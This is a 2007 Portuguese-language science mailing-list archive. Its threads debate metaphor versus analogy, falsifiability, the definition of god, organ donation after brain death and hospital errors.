Assim uma metáfora espera que você compreenda que o elemento em questão tem propriedades que podem ser encontradas no objeto mencionado, e a analogia, que o objeto se comporta COMO SE FOSSE o objeto mencionado.

Se não esclareceu muito, talvez algum co-listeiro tenha melhores exemplos que os meus..:-)

Um abraço.

Homero

----- Original Message -----
From: Esteban Moreno
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 23, 2007 4:55 PM
Subject: [ciencialist] Analogia e metáfora

Colegas listeiros,
qual a diferença entre uma analogia e uma metáfora? Soube que o ser humano é
a única espécie, até onde se saiba, capaz de realizar metáfora
(homo-metaforis). Acredito que o mesmo não seja válido para a analogia. Mas
já cavei no Houaiss e não consegui uma distinção clara entre ambos, parecem
praticamente sinônimos. Quem me dá uma luz? (luz é uma metáfora e/ou
analogia?)
Esteban.

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Resumo 3683
FROM: "Jamil Orlandelli" <orlandel@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/03/2007 09:57

Ci? ¦ênciaSrs Moderadores
Estou recebendo as mensagens com problemas (corrompidas). Quase impossível de ler. São só
as minhas? Recebo em "resumo diário". Grato

Jamil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Resumo 3683
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/03/2007 10:12

Jamil Orlandelli wrote:
> Ci? ¦ênciaSrs Moderadores
> Estou recebendo as mensagens com problemas (corrompidas). Quase impossível de ler. São só
> as minhas? Recebo em "resumo diário". Grato

Está recebendo as mensagens com palavras como 'Ci? ¦ência' ao invés de
'Ciência'?
Provavelmente são só as suas. Verifique a codificação do programa de
email/navegador.


SUBJECT: tempo de vida útil de órgãos para doação
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/03/2007 10:45

Resumindo, um carinha de 19 anos teve várias paradas cardíacas, seguido
por morte cerebral.
Sempre usou uma quantidade excessiva de remédios para controle de asma
(8 gotas de BEROTEC para a inalação), neste caso, usando 2-3 vezes além
da quantidade recomendada pelos médicos.

Depois de ficar cerca de meia hora sem respirar, foi ressuscitado
(WTF!?) e atualmente está com morte cerebral, mantido 'vivo' com aparelhos.

O pai quer(ia) doar os órgãos, a mãe não quer deixar que doem.
A mãe (surpresa, surpresa) é religiosa fanática (evangélica, acho) e
pediu pra meia cidade rezar pq espera um milagre.

A pergunta (finalmente):
Quanto tempo os órgãos do guri duram, nesse estado, para que possam ser
usados para doação? Quais órgãos poderiam ser usados?
A morte cerebral foi determinada há 2-3 dias.

flw.


SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 00:17

José Renato,

Entendo que toda a sua sabedoria e experiência de vida possam o levar a
acreditar que a ciência é isso que você propõe, mas sugiro que não perca de
vista a humildade, que poderá ser uma poderosa aliada no seu aprendizado.

Admito que continuo discordando da sua visão esotérica da ciência. A ponto,
até, de sentir saudades dos currículos do primeiro e segundo graus. Mas não
acho que esta discussão leve realmente a nada. É abstrata demais.

Neste tópico, paro por aqui. Não tenho nada a contribuir.

Um abraço,

Ricardo

----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 4:57 PM
Subject: Fw: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


> Ricardo, parece que vc está com uma visão muito limitada do que seja
> ciência. Conhecimento sem discernimento pode deixar de fora - e geralmente
> deixa - o agente principal: a humanidade. Temos conhecimento e capacidade
> tecnológica para tornar a Terra um paraíso, só não temos sabedoria
> suficiente para promover isso. A Ciência deve desenvolver no ser humano,
> além do conhecimento e das noções tecnológicas, uma consciência de
> dependência e integração ao planeta Terra e tudo o que nela contém.
> Considerar sabedoria e sapiência valores místicos demonstra o tipo de
> estrutura mental com pouca experiência de vida. Entenda que numa lista de
> ciências vc vai encontrar muito mais do que apenas o que consta nos
> currículos do primeiro e segundo grau. Essa infinitude de assuntos que se
> acumulou no conhecimento humano é o que torna interessante o desafio de
> desenvolver diálogos esclarecedores.
> []s
> José Renato
> .......................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 11:46 PM
> Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
>
> Discordo JR.
>
> Como vejo, a ciência mantém sua busca constante por uma maior compreensão
> da
> realidade, quanto a isso não tenho dúvidas.
>
> Minha maior dúvida é: o que você e outros, que parecem ver a ciência com
> certo descrédito e parecem defender esse viés místico da tal "Sabedoria",
> estão fazendo em uma lista de discussão sobre ciência?
>
> Acho que contestar conteúdo científico (ou o místico), com argumentos
> objetivos está dentro do escopo, mas contestar conteúdo científico,
> objetivo, com argumentos místicos soa um pouco deslocado em nossas
> discussões. Fora de contexto. Aparentemente off-topic.
>
> Mais uma vez, apenas uma opinião pessoal, que não tem nenhum teor pessoal.
>
> Grande abraço,
>
> Ricardo
>
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 11:29 PM
> Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
>
>
>> Takata: [ O q estou falando é q: toda vez q meteram deus no meio da
>> ciência
>> a coisa emperrou, a ciência só tem andado se não enfiarem deus no meio da
>> história (ou em qq outra parte). ]
>> ............................
>> José Renato comenta: A busca da verdade ou da real realidade que
>> conseguimos
>> perceber, sempre foi feita pelos mais sábios e conscientes. Depois que o
>> conhecimento passou a ser considerado somente utilitarista, a Ciência
>> deixou
>> de lado o desafio permanente de alcançar a Realidade e passou a produzir
>> novidades para comercializar. A Sabedoria não é bem vinda a esse tipo de
>> ciência, que se basta sendo útil aos consumidores e em desenvolver e
>> aplicar
>> tecnologias de poder...
>> É mais rentável e o novo consumidor não quer nem saber porque essas
>> tecnologias são possíveis.
>> []s
>> JR
>> .............................
>> From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 19, 2007 4:06 PM
>> Subject: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
>>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>




SUBJECT: Fundação Nobel homenageia mulheres
FROM: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 06:17

A Fundação Nobel aproveitou o mês de março para homenagear as mulheres (que foram contempladas com apenas 4% dos prêmios).
A homenagem consiste em textos sobre várias cientistas.

O link http://nobelprize.org/nobel_prizes/physics/articles/curie/index.html traz um texto em homenagem à memória de Marie Curie, uma das cientistas mais brilhantes e a primeira mulher a receber o prêmio Nobel.


Saudaçãoes a todos,
PAULO MARCELO

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Um dos problemas da evidencia de deus são dois
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 10:18

Olá Jeff! Olá lista!

Jeff: [ Cientistas sérios e sensatos não devem dar
atenção pra quem diz que tal coisa existe sem ter
evidências, não concorda? ]

A dificuldade em se demonstrar a tal "evidencia de
deus" é muito simples: DEFINIÇÃO.

Problema (1): Se vc não DEFINE o que é deus, como
posso lhe dar um evidencia?

Vamos pegar o exemplo do papai-noel que o Homero vive
usando pra dizer que "não existe" e que o José Renato
observou tão bem "que existe". Porque eles divergem?

Divergem porque possuem "definições diferentes" de
papai-noel. O fato das crianças ganharem presentes,
pro José Renato é uma evidencia do papai-noel, pois
SATISFAZ sua definição, já, pro Homero, o mesmo exato
fato (as crianças ganharem presente) não é evidencia
porra nenhuma, é papo furado, conversa anti-cientifca,
pois a definição que o Homero tem de papai-noel é
distinta da definição do José Renato, e ainda, o mesmo
fato não SATISFAZ sua definição.

Analogamente, é isto que acontece com a tal "evidencia
de deus". O problema não está na evidencia, nunca
esteve, nunca estará: o problema está na definição. Ou
numa falta de definição, ou numa divergencia de
definição, etc... Podem existir milhões de evidencias,
fatos, mas se essas evidencias não SATISFIZEREM a
DEFINIÇÃO do investigador de nada adiantar demonstrar.

Entende? Faz sentido?

Mas como resolver este problema? Simples: DEFININDO.
Não é isto que a ciencia faz para se comunicar com
eficiencia? Primeiro a ciencia define, o metro, o
minuto, o litro, o mol, o atomo, o quantum, os cambau
e o caralhoaquatro e só depois começa a conversar
usando estas definições. Não é? Pois então, é preciso
definir o que é deus também, pra poder falar a
respeito. Hehehehehe... Mas é ai que a ciencia torce o
rabo. Porque?

Problema (2): Porque antes de definir o que é deus a
ciencia tem que definir "o que é definir". Entende a
robada em que a ciencia não quer se meter? Definir o
que é definir é fazer metaciencia, é aplicar o método
cientifico em que o aplica: no cientista. A ciencia
materialista reluta em fazer isto, porque isto desloca
o seu referencia fixo da materia (materialismo) para o
tempo (possibilidade). Ou seja, assim a terra deixou
de se ser o centro do universo um dia, aplicar o
método cientifico em que o aplica (no cientista) faz
com que a matéria deixe de ser o centro absoluto do
universo e se torne relativo: relativo a observação

Esta questão da "definição" é uma questão que aparece
e reaparece com muitas semanticas diferentes. Por
exemplo, "o que é medir?", "o que é observar?", "o que
é conhecimento?", "o que é fazer ciencia?". Todas
essas questões são a mesma questão, apenas com
enfoques diferentes, apenas com semanticas diferentes.


Ao meu ver, o "fazer ciencia", que é o que a maioria
dos cientistas fazem, é apenas o ofício da ciencia, e
está ligado a superficie da curiosidade cientifica.
Esta superficie, serve para manter o "fazer ciencia"
funcionando, contudo, não muda o "fazer ciencia",
apenas o mantém operante. Por outro lado, a
investigação "o que é fazer ciencia", é uma
investigação cientifica que muda (transforma) a
prática do "fazer ciencia", pois muda a base do "fazer
ciencia".

Einstein, por exemplo, consciente disto ou não, não
"fez ciencia, ele investigou "o que é fazer ciencia".
Por isto que ele foi capaz de mudar a base do "fazer
ciencia". Para comprovar o que estou disendo, basta
observar que Einstein postulou uma NOVA DEFINIÇÃO DE
TEMPO. Ora, para redefinir o tempo Einstein precisou
investigar porque o tempo era definido como era,
quando sacou porque, percebeu algo que possibilitou
uma redefinição. O que Einsteim percebeu? Percebeu a
si mesmo: o observador.

Concluindo, um dos problemas da evidencia de deus são
dois: definição e definição da definição.


sinceramente
ferrari






- - - - - - - - - - - - - - -

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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 10:58

Olá Takata!

Acho que já lhe respondi o que vou responder aqui no
novo tópico que abri "Um dos problemas de evidencia de
deus são dois". Mas como estamos num diálogo ad
infinutum, não me imcomodo em responder novamente.
Além do que, creio que tem outras questões aqui que
não tem lá. Bem, prossigamos...

Takata >>> Não é questão de ficar preso à semântica.
Como o Homero argumentou, palavras têm significado.

--- Sim, mas as palavras tem "muitos significados". E
também: significados analogos. A comunicação humana
não se processa apenas atraves de pensamentos
"logicos", mas também pensamentos "analogicos". Como
pratico literatura, sou acostumado com isto,
analogias. Mas os cientistas se prendem apenas a
semantica cientifica. Isto os limitam na comunicação
com os outros seres humanos. Outros seres humanos que
falam o mesmo que eles, com semanticas analogas. Vc
compreende isto que estou lhe dizendo? Concorda?

Takata >>> Não convém ficar mudando o significado das
palavras a torto e a direito.

--- A grosso modo, concordo. Mas depende. Depende da
intenção do comunicador. O comunicador habil manipula
o significante justamente para mudar o significado
padrão. Mas ele sabe o que está fazendo, é uma
artimanha consciente de comunicação e que tem
proposito definido.

Takata >>> Se por exemplo, eu mudar o significado de
"preso" para livre, a sua frase ficaria: "só não fique
livre desta semântica" - o q seria exatamente o oposto
do q vc deve ter pretendido querer dizer.

--- Se vc tivesse a intenção de que eu chegasse a este
significado, tudo bem. Semantica é significante, não é
significado. A inteligencia humana (na comunicação)
está em usar os significates para gerar significados e
não o contrário. Sim, significantes padrão, o
alfabeto, o idioma, a linguagem técnica, tem sua
importancia dentro da comunicação, porém, não podem
ser mais importante é do que o significado. Aliás, de
que adianta para comunicação um significante que não
gere significado?

Takata >>> Se chamarmos um pedaço de madeira de mais
ou menos 5 cm usado para retirar resíduos presos entre
os dentes de deus, chamaremos palitos de dentes de
deus e provaremos q deus existe. Só teremos q nos
lembrar q esse deus é um palito de dentes e não um ser
transcendente.

--- Sim, vc está certo. E o porque disto eu expliquei
porque no outro email "Um dos problemas de evidencia
de deus são dois".

Takata >>> Lembre-se de q o vc chama de deus é apenas
um mapa mental.

--- Hehehe... tá aprendendo!

Takata >>> Conhecimento é o entendimento...

--- E o que é entendimento?

Takata >>> Conhecimento é o conjunto de informações...

--- E o que é informação?

Takata >>> Lamento, mas isso não mostra q seja apenas
um mapa mental. No dia em q vc conseguir sobreviver
apenas *pensando* em comida, acreditarei q é apenas um
mapa mental.

--- Não disse nada disso sobre comida e comer. E outra
coisa muito importante aqui: NÃO ACREDITE EM MIM,
NUNCA. Apenas considere. Só isto. Não quero que
ninguém acredite em mim, que beneficio eu tenho nisto?
Que beneficio o crente tem nisto? Só ficamos escrevos
um do outro. Meu conselho: não acredite em mim nem em
ninguém, investigue por si mesmo. Algumas perguntas
para vc investigar por si mesmo a questão do mapa
mental estão acima. Investigue-as sinceramente, sem
medo. Busque respostas. E, neste caso da comida, se
quiser investigar a questão do mapa mental, aconselho
assim:

--- o que é comida?
--- o que é este "eu" que sobrevive de comida?
--- o que é comer?
--- o que é sobreviver?


sinceramente
ferrari




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SUBJECT: Resumo 3683 para o Nando
FROM: "Jamil Orlandelli" <orlandel@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 11:00

Olá Nando, obrigado pela ajuda.
Tinha esquecido de falar: só está acontecendo isto que
você indicou somente com a ciencialist, as outras listas
o Outlook recebe normalmente sem corrupção das palavras.

Jamil

Sem respostas <notify-dg-ciencialist@yahoogrupos.com.br>

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Acidentes hospitalares.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 11:00

Bom dia a todos,

um hospital pode ser visto como: a) um ambiente fabril onde é grande
o número de acidentes de trabalho; b) um local de propagação de
mecanismos de controle e poder uma vez que muitos dos preceitos e
práticas se justificam mais por subjetividade e interesses do que
respaldo científico.

A discussão de (b) não é objeto imediato desta mensagem e sim (a)
por uma reflexão dos acidentes associado as notícias nos jornais
desta semana: o Brasil conta com seis entre os melhores hospitais do
mundo, selo da Joint Commission International (JCI). Quando se
discute as falhas e acidentes que um bom hospital evita ao buscar
este selo, vem uma informação estatística estarrecedora que motivou
esta mensagem: entre os eventos que acabaram em morte ou lesões
sérias nos hospitais nos EUA em 2006, 13,1% foram cirurgias em local
errado, ou seja, amputar uma perna errada, fazer uma cirurgia em um
órgão saudável e por aí vai.

E no Brasil onde hoje muitos hospitais podem ser comparados ao
padrão americano da década de 60, 70 ou 80 (dependendo do hospital)
com alguns retoques?

Até quando haverá todas estas falhas associados a custos tão
elevados em tratamentos ?

Saudações. UCFilho





SUBJECT: Re: [ciencialist] Um dos problemas da evidencia de deus são dois
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 12:03

Help, help, help! Isto é demais, até mesmo para mim, com minha paciência e minha tolerância.
Mas arranjei um jeito de ser poupado: outlook, critérios para mensagens, opção: se recebidas de...., deletar.
Cada mania com seu louco preferido.
Victor.

----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 25, 2007 10:18 AM
Subject: [ciencialist] Um dos problemas da evidencia de deus são dois


Olá Jeff! Olá lista!

Jeff: [ Cientistas sérios e sensatos não devem dar
atenção pra quem diz que tal coisa existe sem ter
evidências, não concorda? ]

A dificuldade em se demonstrar a tal "evidencia de
deus" é muito simples: DEFINIÇÃO.

Problema (1): Se vc não DEFINE o que é deus, como
posso lhe dar um evidencia?

Vamos pegar o exemplo do papai-noel que o Homero vive
usando pra dizer que "não existe" e que o José Renato
observou tão bem "que existe". Porque eles divergem?

Divergem porque possuem "definições diferentes" de
papai-noel. O fato das crianças ganharem presentes,
pro José Renato é uma evidencia do papai-noel, pois
SATISFAZ sua definição, já, pro Homero, o mesmo exato
fato (as crianças ganharem presente) não é evidencia
porra nenhuma, é papo furado, conversa anti-cientifca,
pois a definição que o Homero tem de papai-noel é
distinta da definição do José Renato, e ainda, o mesmo
fato não SATISFAZ sua definição.

Analogamente, é isto que acontece com a tal "evidencia
de deus". O problema não está na evidencia, nunca
esteve, nunca estará: o problema está na definição. Ou
numa falta de definição, ou numa divergencia de
definição, etc... Podem existir milhões de evidencias,
fatos, mas se essas evidencias não SATISFIZEREM a
DEFINIÇÃO do investigador de nada adiantar demonstrar.

Entende? Faz sentido?

Mas como resolver este problema? Simples: DEFININDO.
Não é isto que a ciencia faz para se comunicar com
eficiencia? Primeiro a ciencia define, o metro, o
minuto, o litro, o mol, o atomo, o quantum, os cambau
e o caralhoaquatro e só depois começa a conversar
usando estas definições. Não é? Pois então, é preciso
definir o que é deus também, pra poder falar a
respeito. Hehehehehe... Mas é ai que a ciencia torce o
rabo. Porque?

Problema (2): Porque antes de definir o que é deus a
ciencia tem que definir "o que é definir". Entende a
robada em que a ciencia não quer se meter? Definir o
que é definir é fazer metaciencia, é aplicar o método
cientifico em que o aplica: no cientista. A ciencia
materialista reluta em fazer isto, porque isto desloca
o seu referencia fixo da materia (materialismo) para o
tempo (possibilidade). Ou seja, assim a terra deixou
de se ser o centro do universo um dia, aplicar o
método cientifico em que o aplica (no cientista) faz
com que a matéria deixe de ser o centro absoluto do
universo e se torne relativo: relativo a observação

Esta questão da "definição" é uma questão que aparece
e reaparece com muitas semanticas diferentes. Por
exemplo, "o que é medir?", "o que é observar?", "o que
é conhecimento?", "o que é fazer ciencia?". Todas
essas questões são a mesma questão, apenas com
enfoques diferentes, apenas com semanticas diferentes.

Ao meu ver, o "fazer ciencia", que é o que a maioria
dos cientistas fazem, é apenas o ofício da ciencia, e
está ligado a superficie da curiosidade cientifica.
Esta superficie, serve para manter o "fazer ciencia"
funcionando, contudo, não muda o "fazer ciencia",
apenas o mantém operante. Por outro lado, a
investigação "o que é fazer ciencia", é uma
investigação cientifica que muda (transforma) a
prática do "fazer ciencia", pois muda a base do "fazer
ciencia".

Einstein, por exemplo, consciente disto ou não, não
"fez ciencia, ele investigou "o que é fazer ciencia".
Por isto que ele foi capaz de mudar a base do "fazer
ciencia". Para comprovar o que estou disendo, basta
observar que Einstein postulou uma NOVA DEFINIÇÃO DE
TEMPO. Ora, para redefinir o tempo Einstein precisou
investigar porque o tempo era definido como era,
quando sacou porque, percebeu algo que possibilitou
uma redefinição. O que Einsteim percebeu? Percebeu a
si mesmo: o observador.

Concluindo, um dos problemas da evidencia de deus são
dois: definição e definição da definição.

sinceramente
ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] tempo de vida útil de órgãos para doação
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/03/2007 12:37


----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 24, 2007 10:45 AM
Subject: [ciencialist] tempo de vida útil de órgãos para doação


Resumindo, um carinha de 19 anos teve várias paradas cardíacas, seguido
por morte cerebral.
Sempre usou uma quantidade excessiva de remédios para controle de asma
(8 gotas de BEROTEC para a inalação), neste caso, usando 2-3 vezes além
da quantidade recomendada pelos médicos.

Victor: Um "carinha"!... Você se refere ao filho de alguém, de 19 anos. Sabe o que representa um filho, e o ônus emocional associado? Você é pai, já? Se não o for, espero que quando o seja não passe por alguma situação em que o filho morre, ou fique em alguma situação de irreversibilidade! Espero que você NUNCA tenha a necessidade de me retornar este e-mail, me contando sobre isso!

Nando: Depois de ficar cerca de meia hora sem respirar, foi ressuscitado
(WTF!?) e atualmente está com morte cerebral, mantido 'vivo' com aparelhos.
O pai quer(ia) doar os órgãos, a mãe não quer deixar que doem.
A mãe (surpresa, surpresa) é religiosa fanática (evangélica, acho) e
pediu pra meia cidade rezar pq espera um milagre.

Victor: não é preciso que se seja religioso para sair para esses estados alterados, ante a perspectiva da perda de um filho, e buscar se enganar, achando que haverá alguma solução. A mãe faz aquilo em que acredita. Não a condeno. Quem já passou por isso, sabe. São momentos de extrema dor, extremas tensões, onde você perde, inclusive sua própria identidade. Eu sei.


Nando: A pergunta (finalmente):
Quanto tempo os órgãos do guri duram, nesse estado, para que possam ser
usados para doação? Quais órgãos poderiam ser usados?
A morte cerebral foi determinada há 2-3 dias.

Victor: Não pósso responder a algo assim. Mas perguntarei a um médico amigo. Mas lí, recentemente, sobre uma criança inteiramente sem cérebro que continua vivendo, isto é, o corpo continua vivo.

flw.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] tempo de vida útil de órgãos para doação
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 13:02

Victor wrote:
> Victor: Um "carinha"!... Você se refere ao filho de alguém, de 19 anos. Sabe o que representa um filho,
> e o ônus emocional associado? Você é pai, já? Se não o for, espero
que quando o seja não passe por alguma
> situação em que o filho morre, ou fique em alguma situação de
irreversibilidade! Espero que você NUNCA tenha
> a necessidade de me retornar este e-mail, me contando sobre isso!

Putz cara, não era pra ofender ninguém, mas nunca nem vi o cara, então
não vejo motivo pra tratar ele como um amigo de infância ou algo assim...
Falei carinha do mesmo jeito que poderia ter dito rapaz, guri, rapazote,
ou sei lá oq... não por desrespeito. Por aqui (interior do RS) é normal
tratar as pessoas com esses termos...

Sobre a parte da religião, não vou me estender, cada um faz oq quiser e
acredita no que quiser, mas na hora que isso afeta diretamente a vida de
alguém (nesse caso, a vida dos potenciais receptores dos órgãos), o papo
é diferente... coisa parecida seria um filho de testemunha de jeová ser
impedido de receber uma doação de sangue devido à crença dos pais...

> Mas lí, recentemente, sobre uma criança inteiramente sem cérebro que continua vivendo,
> isto é, o corpo continua vivo.

Exato, mas pelo que achei na net, boa parte dos órgãos depois de algumas
horas deixa de ser doável... por isso a minha dúvida.

Não era minha intenção descrever o caso com deboche ou algo parecido,
peço desculpas caso tenha ofendido mais alguém, mas realmente acho que
você teve uma reação exagerada.

Abraço.


SUBJECT: Re: [ciencialist] Um dos problemas da evidencia de deus são dois
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 13:55

Bem que você poderia ter explanado esse ponto de vista
lá trás, pra evitar tamanha confusão.
Responda-me o seguinte:
Quem vem primeiro: O ser ou a definição do ser???

Ser->Algo que existe no mundo físico. Ou se quiser ir
mais longe, algo que seja possível de ser imaginado
:p.


--- Ferrari <emailferrari@yahoo.com.br> escreveu:

> Olá Jeff! Olá lista!
>
> Jeff: [ Cientistas sérios e sensatos não devem dar
> atenção pra quem diz que tal coisa existe sem ter
> evidências, não concorda? ]
>
> A dificuldade em se demonstrar a tal "evidencia de
> deus" é muito simples: DEFINIÇÃO.
>
> Problema (1): Se vc não DEFINE o que é deus, como
> posso lhe dar um evidencia?
>
> Vamos pegar o exemplo do papai-noel que o Homero
> vive
> usando pra dizer que "não existe" e que o José
> Renato
> observou tão bem "que existe". Porque eles divergem?
>
> Divergem porque possuem "definições diferentes" de
> papai-noel. O fato das crianças ganharem presentes,
> pro José Renato é uma evidencia do papai-noel, pois
> SATISFAZ sua definição, já, pro Homero, o mesmo
> exato
> fato (as crianças ganharem presente) não é evidencia
> porra nenhuma, é papo furado, conversa
> anti-cientifca,
> pois a definição que o Homero tem de papai-noel é
> distinta da definição do José Renato, e ainda, o
> mesmo
> fato não SATISFAZ sua definição.
>
> Analogamente, é isto que acontece com a tal
> "evidencia
> de deus". O problema não está na evidencia, nunca
> esteve, nunca estará: o problema está na definição.
> Ou
> numa falta de definição, ou numa divergencia de
> definição, etc... Podem existir milhões de
> evidencias,
> fatos, mas se essas evidencias não SATISFIZEREM a
> DEFINIÇÃO do investigador de nada adiantar
> demonstrar.
>
> Entende? Faz sentido?
>
> Mas como resolver este problema? Simples: DEFININDO.
> Não é isto que a ciencia faz para se comunicar com
> eficiencia? Primeiro a ciencia define, o metro, o
> minuto, o litro, o mol, o atomo, o quantum, os
> cambau
> e o caralhoaquatro e só depois começa a conversar
> usando estas definições. Não é? Pois então, é
> preciso
> definir o que é deus também, pra poder falar a
> respeito. Hehehehehe... Mas é ai que a ciencia torce
> o
> rabo. Porque?
>
> Problema (2): Porque antes de definir o que é deus a
> ciencia tem que definir "o que é definir". Entende a
> robada em que a ciencia não quer se meter? Definir o
> que é definir é fazer metaciencia, é aplicar o
> método
> cientifico em que o aplica: no cientista. A ciencia
> materialista reluta em fazer isto, porque isto
> desloca
> o seu referencia fixo da materia (materialismo) para
> o
> tempo (possibilidade). Ou seja, assim a terra deixou
> de se ser o centro do universo um dia, aplicar o
> método cientifico em que o aplica (no cientista) faz
> com que a matéria deixe de ser o centro absoluto do
> universo e se torne relativo: relativo a observação
>
> Esta questão da "definição" é uma questão que
> aparece
> e reaparece com muitas semanticas diferentes. Por
> exemplo, "o que é medir?", "o que é observar?", "o
> que
> é conhecimento?", "o que é fazer ciencia?". Todas
> essas questões são a mesma questão, apenas com
> enfoques diferentes, apenas com semanticas
> diferentes.
>
>
> Ao meu ver, o "fazer ciencia", que é o que a maioria
> dos cientistas fazem, é apenas o ofício da ciencia,
> e
> está ligado a superficie da curiosidade cientifica.
> Esta superficie, serve para manter o "fazer ciencia"
> funcionando, contudo, não muda o "fazer ciencia",
> apenas o mantém operante. Por outro lado, a
> investigação "o que é fazer ciencia", é uma
> investigação cientifica que muda (transforma) a
> prática do "fazer ciencia", pois muda a base do
> "fazer
> ciencia".
>
> Einstein, por exemplo, consciente disto ou não, não
> "fez ciencia, ele investigou "o que é fazer
> ciencia".
> Por isto que ele foi capaz de mudar a base do "fazer
> ciencia". Para comprovar o que estou disendo, basta
> observar que Einstein postulou uma NOVA DEFINIÇÃO DE
> TEMPO. Ora, para redefinir o tempo Einstein precisou
> investigar porque o tempo era definido como era,
> quando sacou porque, percebeu algo que possibilitou
> uma redefinição. O que Einsteim percebeu? Percebeu a
> si mesmo: o observador.
>
> Concluindo, um dos problemas da evidencia de deus
> são
> dois: definição e definição da definição.
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - Lógica
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 14:46


Homero e Cia, não acho que a analise fique por aí.
Dentro de uma determinada teoria, poderemos ter os
seguintes casos de hipóteses não falseáveis:

1 - Hipóteses que não podem ser demonstradas
verdadeiras ou falsas;
1a)Foi Provado que não é demonstrável;
1b)Não se sabe se é possível demonstrar a veracidade
ou a falsidade;
1c)Não há instrumentos dísponíveis para a confirmação
empírica da veracidade ou falsidade, no entanto, a
hipótese é demonstrável.

2 - Hipóteses Tautológicas;

Vendo dessa forma, como poderia julgar se é científico
ou não apenas pela falsificação??
A coisa parece estranha. Eu poderia ter algumas
hipóteses não falseáveis dentro da teoria e mesmo
assim ela funcionar empiricamente(tx de acertos mais
alta do que a teoria sem hipóteses falseáveis).

Se eu julgo uma teoria não científica apenas por ela
conter UM CASO de hipótese não falseável talvez eu
seja leviano se a taxa de acertos for alta. Mas se a
teoria possui 200 hipóteses e 100 forem não falseáveis
e a taxa de acertos for alta, seria eu leviano em
considerar tal hipótese científica???

Tudo que estou afirmando é logicamente possível.
Afirmo isso, antes que alguém diga que esses casos
nunca ocorreram(o que é falso) e não devem ser levados
em conta. Além do mais, uma coisa que venho notando é
que as propostas metodológicas da ciência não passam
de aplicações da lógica mais intuição com uma pitada
de história da ciência. Como cada uma apenas considera
alguns detalhes lógicos possíveis e não todos, elas
pecam em querer denominar-se universais.


--- oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Chicão: "1 - E se o modelo fizer previsões com uma
> taxa de acertos
> alta e não for falseável???"
>
> Isso não é possível, por definição. Uma das formas
> de ser "falseável"
> é fazer previsões. Talvez devesse dar especial
> atenção ao conceito de
> falseável, o que significa ser falseável, Chicão.



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico(Lógica 2)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/03/2007 14:55

Faltou na mensagem anterior eu fazer a seguinte
observação:

Na mecânica quântica existe a possibilidade de uma
mesma particula ocupar dois lugares distintos no mesmo
instante t. Se a mesma particula está situada num
ponto p1 e p2 num mesmo instante t, e eu fizer a
afirmação de que a particula está em p1 no instante t
ou em t2 no instante t, eu estarei sempre certo,
portanto isso é uma tautologia, e portanto, é uma
hipótese não falseável(hipótese referente a
localização da partícula no espaço no instante t).
Se eu sou um fundamentalista popperiano deveria jogar
a mecânica quântica no lixo.

Comentários????


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: RE: [ciencialist] Um dos problemas da evidencia de deus são dois
